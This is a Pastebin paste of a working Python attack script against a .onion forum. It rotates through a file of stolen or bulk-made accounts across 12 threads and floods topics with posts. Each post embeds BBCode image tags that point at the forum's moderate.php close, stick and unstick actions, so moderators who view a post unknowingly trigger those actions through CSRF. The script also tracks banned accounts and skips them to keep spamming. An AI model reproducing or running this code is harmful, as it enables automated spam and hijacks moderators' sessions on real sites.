Advertisement
Guest User

Untitled

a guest
Sep 3rd, 2018
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.76 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. from itertools import islice
  5. from threading import Thread
  6. from robobrowser import RoboBrowser
  7. import sys
  8. import requests
  9. import random
  10. import threading
  11. import time
  12. import uuid
  13. import re
  14.  
  15. url = "http://fdwocbsnity6vzwd.onion/"
  16.  
  17. messages = [
  18.     "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&close={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]",
  19.     "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&stick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
  20. ]
  21.  
  22. unpin_message = "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&unstick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
  23.  
  24. browser = False
  25.  
  26. username = "BlackSpider"
  27. password = "123456789"
  28.  
  29. is_running = True
  30.  
  31. founds = {}
  32. timers = {}
  33. accounts = {}
  34.  
  35. forums_ids = [37, 8, 2, 4, 19, 33, 30, 5, 40, 21, 70, 82, 73, 83, 26, 61, 86, 85, 88, 95, 90, 93, 94]
  36.  
  37. class Spammer(Thread):
  38.  
  39.     def __init__(self):
  40.         Thread.__init__(self)
  41.  
  42.     def run(self):
  43.         global founds
  44.         global timers
  45.         global is_running
  46.         global accounts
  47.  
  48.         while is_running:
  49.  
  50.             browser = RoboBrowser(history=False, parser="html.parser")
  51.             browser.session.headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
  52.  
  53.             username = random.choice(list(accounts.items()))
  54.  
  55.             while username in timers and time.time() - timers[username[0]] < 120:
  56.                 username = random.choice(list(accounts.items()))
  57.  
  58.             if login(browser, username[0], username[1]):
  59.                 if "Vous êtes banni(e) de ce forum" in str(browser.parsed):
  60.                     print (username[0], "est banni")
  61.                     timers[username[0]] = time.time() + 100000
  62.                     continue
  63.  
  64.                 print ("Login ok : " + username[0] + ":" + username[1] + "\n")
  65.                 spam(browser)
  66.                 timers[username[0]] = time.time()
  67.                 with open('used.txt', 'a') as f:
  68.                     f.write(username[0] + "\n")
  69.                 continue
  70.             else:
  71.                 print ("Login fail : " + username[0] + ":" + username[1] + "\n")
  72.                 timers[username[0]] = time.time() + 100000
  73.                 continue
  74.  
  75.  
  76. def spam(browser):
  77.     global url
  78.     global messages
  79.     global forums_ids
  80.     global unpin_message
  81.  
  82.     forum_id = random.choice(forums_ids)
  83.  
  84.     browser.open(url + "viewforum.php?id=" + str(forum_id) + "&p=" + str(random.randint(1, 10)))
  85.     rows = browser.select('tr.inew')
  86.  
  87.     for row in rows:
  88.  
  89.         topic = row.select('td.tcl')[0]
  90.  
  91.         if topic.select('.stickytext'):
  92.             pinned = True
  93.         else:
  94.             pinned = False
  95.  
  96.         topic_a = topic.select('div.tclcon a')[0]
  97.  
  98.         topic_id = re.findall(r'\d+', topic_a.get('href'))[0]
  99.  
  100.         browser.follow_link(topic_a)
  101.         browser.session.headers['Referer'] = url + topic_a.get('href')
  102.         print (browser.session.headers['Referer'])
  103.         form = browser.get_form(id="quickpostform")
  104.  
  105.         if not pinned:
  106.             form['req_message'] = random.choice(messages).format(forum_id, topic_id)
  107.         else:
  108.             form['req_message'] = unpin_message.format(forum_id, topic_id)
  109.  
  110.         submit_button = form['submit']
  111.         browser.submit_form(form, submit=submit_button)
  112.  
  113.         with open('file.html', 'w') as f:
  114.             f.write(str(browser.parsed))
  115.  
  116.  
  117. def login(browser, user, password):
  118.     browser.open(url + "login.php")
  119.     form = browser.get_form(id="login")
  120.     form['req_username'].value = user
  121.     form['req_password'].value = password
  122.     browser.submit_form(form)
  123.     return browser.find(id="navlogout") is not None
  124.  
  125.  
  126. def open_accounts():
  127.     global founds
  128.  
  129.     with open('accounts.txt', 'r') as f:
  130.         for line in f.readlines():
  131.             parts = line.strip().split(':')
  132.             accounts[parts[0]] = parts[1]
  133.  
  134. def main():
  135.     global is_running
  136.  
  137.     threads = []
  138.     nbr_threads = 12
  139.  
  140.     open_accounts()
  141.  
  142.     for i in range(nbr_threads):
  143.         t = Spammer()
  144.         threads.append(t)
  145.         t.start()
  146.  
  147.     while len(threads) > 0:
  148.         try:
  149.             threads = [t.join(1) for t in threads if t is not None and t.isAlive()]
  150.         except KeyboardInterrupt:
  151.             is_running = False
  152.             print ("Shutdown threads...")
  153.  
  154.  
  155. if __name__ == '__main__':
  156.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement